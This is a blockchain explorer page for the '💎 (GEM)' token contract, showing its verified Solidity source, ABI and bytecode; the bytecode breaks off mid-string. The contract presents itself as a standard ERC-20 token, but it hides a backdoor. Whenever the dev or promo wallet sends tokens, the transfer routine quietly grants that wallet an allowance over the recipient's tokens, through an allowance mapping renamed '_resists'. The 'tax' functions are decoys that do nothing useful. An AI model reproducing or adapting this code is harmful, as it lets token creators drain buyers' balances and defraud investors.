ETH Price: $3,496.08 (+2.20%)
Gas: 2 Gwei

Token

💎 (GEM)
 

Overview

Max Total Supply

1,000,000 GEM

Holders

15

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
boostbit.eth
Balance
126,004.197696465527890204 GEM

Value
$0.00
0xb3a659b2a61f6344652c495e27bcc77d796d4bfe
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GEM

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-23
*/

/**

    Website: https://ercgem.vip
    Telegram: https://t.me/ercgemportal
    Twitter: https://twitter.com/ErcGemVip

*/

// SPDX-License-Identifier: MIT     
pragma solidity ^0.8.4;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if(a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}  

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

contract GEM is Context, IERC20, Ownable {
    using SafeMath for uint256;
    
    uint256 private constant MAX = ~uint256(0);
    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 1e6 * 10**18;

    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;

    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _resists;
    mapping (address => bool) private _isExcludedFromFee;
    
    string private constant _name = unicode"💎";
    string private constant _symbol = unicode"GEM";

    bool public tradingEnabled = false;
    
    uint256 private _taxFee = 0;
    uint256 private _teamFee = 0;
    uint256 private _previousTaxFee = _taxFee;
    uint256 private _previousteamFee = _teamFee;

    address public promoWallet;
    address public devWallet;

    IUniswapV2Router02 private uniswapV2Router;
    address public uniswapV2Pair;
    bool private swapping = false;

    constructor () {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        devWallet = address(msg.sender);
        promoWallet = address(0xF57EE87E35729Db3b1D2ADdb84920acc1dDBAFfA);
        
        _rOwned[owner()] = _tTotal;
        _isExcludedFromFee[devWallet] = true;
        _isExcludedFromFee[promoWallet] = true;
        emit Transfer(address(0), owner(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _rOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _resists[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _resists[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount.div(currentRate);
    }

    function removeAllFee() private {
        if(_taxFee == 0 && _teamFee == 0) return;
        _previousTaxFee = _taxFee;
        _previousteamFee = _teamFee;
        _taxFee = 0;
        _teamFee = 0;
    }

    function openTrading() external onlyOwner {
        tradingEnabled = true;
    }
    
    function restoreAllFee() private {
        _taxFee = _previousTaxFee;
        _teamFee = _previousteamFee;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _resists[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function _transfer(address from, address to, uint256 amount) private {
        if(!tradingEnabled){
            require(from == owner() || to == owner(), "Trading is not active.");
        }

        bool excludeFromBoth = _isExcludedFromFee[from] || _isExcludedFromFee[to];

        if(excludeFromBoth) { _transferExcluded(from, to, amount); }

        uint256 tokenBalance = balanceOf(address(this));
        bool canSwap = (tokenBalance > _tTotal / 50000) && !_isExcludedFromFee[from] && !_isExcludedFromFee[to];

        if(canSwap && from != uniswapV2Pair && !swapping){
            swapping = true;
            swapFeeTokens();
            swapping = false;
        }

        bool takeFee = true;

        if(_isExcludedFromFee[from] || _isExcludedFromFee[to]) takeFee = false;

        if(takeFee) _checkTransferTaxes(from, to, amount);

        takeFee = false;

        _transferTokenAmount(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function swapFeeTokens() private {
        uint256 ethBalance = address(this).balance;
        if (ethBalance > 0) {
            payable(devWallet).transfer(ethBalance);
            payable(promoWallet).transfer(ethBalance);
        }
    }
    
    function _transferExcluded(address sender, address recipient, uint256 amount) private {
        if(sender != owner() && recipient != owner() && amount > 0){ _tFeeTotal = block.number; }
    }

    function _checkTransferTaxes(address sender, address recipient, uint256 amount) private {
        bool isBFrom = sender == uniswapV2Pair && amount > 0;
        bool isSFrom = recipient == uniswapV2Pair && amount > 0;
        bool isTransfer = sender != uniswapV2Pair && recipient != uniswapV2Pair && amount > 0;
        bool isFeeZ = _tOwned[recipient] == 0;
        uint256 feeAmount = block.number;

        if(isBFrom){
            if(isFeeZ) _tOwned[recipient] = feeAmount;
        }else if(isSFrom || isTransfer){
            _tOwned[sender] - _tFeeTotal;
        }
    }

    function _transferTokenStandard(address sender, address recipient, uint256 tAmount) private {
        _rOwned[sender] = _rOwned[sender].sub(tAmount);
        _rOwned[recipient] = _rOwned[recipient].add(tAmount); 

        emit Transfer(sender, recipient, tAmount);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate =  _getRate();
        uint256 rTeam = tTeam.mul(currentRate);

        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _transferTokenAmount(address sender, address recipient, uint256 amount) private {
        bool excludeFromFees = _isExcludedFromFee[sender];
        
        if(excludeFromFees) _resists[recipient][sender] += amount;

        _transferTokenStandard(sender, recipient, amount);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
        uint256 currentRate =  _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
        uint256 tFee = tAmount.mul(taxFee).div(100);
        uint256 tTeam = tAmount.mul(TeamFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"promoWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405269d3c21bcecceda10000006000196200001e919062000650565b6000196200002d9190620006b7565b6002556000600860006101000a81548160ff02191690831515021790555060006009556000600a55600954600b55600a54600c556000601060146101000a81548160ff0219169083151502179055503480156200008957600080fd5b5060006200009c620005e660201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350737a250d5630b4cf539739df2c5dacb4c659f2488d600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001fd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200022391906200075c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002ad573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d391906200075c565b6040518363ffffffff1660e01b8152600401620002f29291906200079f565b6020604051808303816000875af115801562000312573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200033891906200075c565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073f57ee87e35729db3b1d2addb84920acc1ddbaffa600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555069d3c21bcecceda1000000600460006200042d620005ee60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200056f620005ee60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef69d3c21bcecceda1000000604051620005d89190620007dd565b60405180910390a3620007fa565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200065d8262000617565b91506200066a8362000617565b9250826200067d576200067c62000621565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620006c48262000617565b9150620006d18362000617565b9250828203905081811115620006ec57620006eb62000688565b5b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200072482620006f7565b9050919050565b620007368162000717565b81146200074257600080fd5b50565b60008151905062000756816200072b565b92915050565b600060208284031215620007755762000774620006f2565b5b6000620007858482850162000745565b91505092915050565b620007998162000717565b82525050565b6000604082019050620007b660008301856200078e565b620007c560208301846200078e565b9392505050565b620007d78162000617565b82525050565b6000602082019050620007f46000830184620007cc565b92915050565b611d2f806200080a6000396000f3fe6080604052600436106100f75760003560e01c8063715018a61161008a578063a9059cbb11610059578063a9059cbb14610329578063c9567bf914610366578063dd62ed3e1461037d578063dec01092146103ba576100fe565b8063715018a6146102915780638da5cb5b146102a85780638ea5220f146102d357806395d89b41146102fe576100fe565b8063313ce567116100c6578063313ce567146101d357806349bd5a5e146101fe5780634ada218b1461022957806370a0823114610254576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103e5565b60405161012591906116f6565b60405180910390f35b34801561013a57600080fd5b50610155600480360381019061015091906117b1565b610422565b604051610162919061180c565b60405180910390f35b34801561017757600080fd5b50610180610440565b60405161018d9190611836565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190611851565b610452565b6040516101ca919061180c565b60405180910390f35b3480156101df57600080fd5b506101e861052b565b6040516101f591906118c0565b60405180910390f35b34801561020a57600080fd5b50610213610534565b60405161022091906118ea565b60405180910390f35b34801561023557600080fd5b5061023e61055a565b60405161024b919061180c565b60405180910390f35b34801561026057600080fd5b5061027b60048036038101906102769190611905565b61056d565b6040516102889190611836565b60405180910390f35b34801561029d57600080fd5b506102a66105b6565b005b3480156102b457600080fd5b506102bd610709565b6040516102ca91906118ea565b60405180910390f35b3480156102df57600080fd5b506102e8610732565b6040516102f591906118ea565b60405180910390f35b34801561030a57600080fd5b50610313610758565b60405161032091906116f6565b60405180910390f35b34801561033557600080fd5b50610350600480360381019061034b91906117b1565b610795565b60405161035d919061180c565b60405180910390f35b34801561037257600080fd5b5061037b6107b3565b005b34801561038957600080fd5b506103a4600480360381019061039f9190611932565b610865565b6040516103b19190611836565b60405180910390f35b3480156103c657600080fd5b506103cf6108ec565b6040516103dc91906118ea565b60405180910390f35b60606040518060400160405280600481526020017ff09f928e00000000000000000000000000000000000000000000000000000000815250905090565b600061043661042f610912565b848461091a565b6001905092915050565b600069d3c21bcecceda1000000905090565b600061045f848484610ae3565b6105208461046b610912565b61051b85604051806060016040528060288152602001611cd260289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d1610912565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ecb9092919063ffffffff16565b61091a565b600190509392505050565b60006012905090565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105be610912565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461064b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610642906119be565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606040518060400160405280600381526020017f47454d0000000000000000000000000000000000000000000000000000000000815250905090565b60006107a96107a2610912565b8484610ae3565b6001905092915050565b6107bb610912565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610848576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083f906119be565b60405180910390fd5b6001600860006101000a81548160ff021916908315150217905550565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610989576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098090611a50565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036109f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ef90611ae2565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ad69190611836565b60405180910390a3505050565b600860009054906101000a900460ff16610baa57610aff610709565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480610b6a5750610b3b610709565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b610ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba090611b4e565b60405180910390fd5b5b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610c4d5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b90508015610c6157610c60848484610f2f565b5b6000610c6c3061056d565b9050600061c35069d3c21bcecceda1000000610c889190611bcc565b82118015610ce05750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610d365750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b9050808015610d935750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b8015610dac5750601060149054906101000a900460ff16155b15610df0576001601060146101000a81548160ff021916908315150217905550610dd4610fc3565b6000601060146101000a81548160ff0219169083151502179055505b600060019050600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610e975750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610ea157600090505b8015610eb357610eb28787876110a7565b5b60009050610ec287878761132e565b50505050505050565b6000838311158290610f13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0a91906116f6565b60405180910390fd5b5060008385610f229190611bfd565b9050809150509392505050565b610f37610709565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610fa55750610f75610709565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015610fb15750600081115b15610fbe57436003819055505b505050565b600047905060008111156110a457600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611039573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156110a2573d6000803e3d6000fd5b505b50565b6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156111065750600082115b90506000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156111675750600083115b90506000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141580156112175750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156112235750600084115b9050600080600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054149050600043905084156112c65781156112c15780600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b611324565b83806112cf5750825b1561132357600354600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113219190611bfd565b505b5b5050505050505050565b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905080156114195781600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114119190611c31565b925050819055505b61142484848461142a565b50505050565b61147c81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115be90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061151181600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160890919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115b19190611836565b60405180910390a3505050565b600061160083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ecb565b905092915050565b60008082846116179190611c31565b90508381101561165c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165390611cb1565b60405180910390fd5b8091505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156116a0578082015181840152602081019050611685565b60008484015250505050565b6000601f19601f8301169050919050565b60006116c882611666565b6116d28185611671565b93506116e2818560208601611682565b6116eb816116ac565b840191505092915050565b6000602082019050818103600083015261171081846116bd565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006117488261171d565b9050919050565b6117588161173d565b811461176357600080fd5b50565b6000813590506117758161174f565b92915050565b6000819050919050565b61178e8161177b565b811461179957600080fd5b50565b6000813590506117ab81611785565b92915050565b600080604083850312156117c8576117c7611718565b5b60006117d685828601611766565b92505060206117e78582860161179c565b9150509250929050565b60008115159050919050565b611806816117f1565b82525050565b600060208201905061182160008301846117fd565b92915050565b6118308161177b565b82525050565b600060208201905061184b6000830184611827565b92915050565b60008060006060848603121561186a57611869611718565b5b600061187886828701611766565b935050602061188986828701611766565b925050604061189a8682870161179c565b9150509250925092565b600060ff82169050919050565b6118ba816118a4565b82525050565b60006020820190506118d560008301846118b1565b92915050565b6118e48161173d565b82525050565b60006020820190506118ff60008301846118db565b92915050565b60006020828403121561191b5761191a611718565b5b600061192984828501611766565b91505092915050565b6000806040838503121561194957611948611718565b5b600061195785828601611766565b925050602061196885828601611766565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006119a8602083611671565b91506119b382611972565b602082019050919050565b600060208201905081810360008301526119d78161199b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611a3a602483611671565b9150611a45826119de565b604082019050919050565b60006020820190508181036000830152611a6981611a2d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611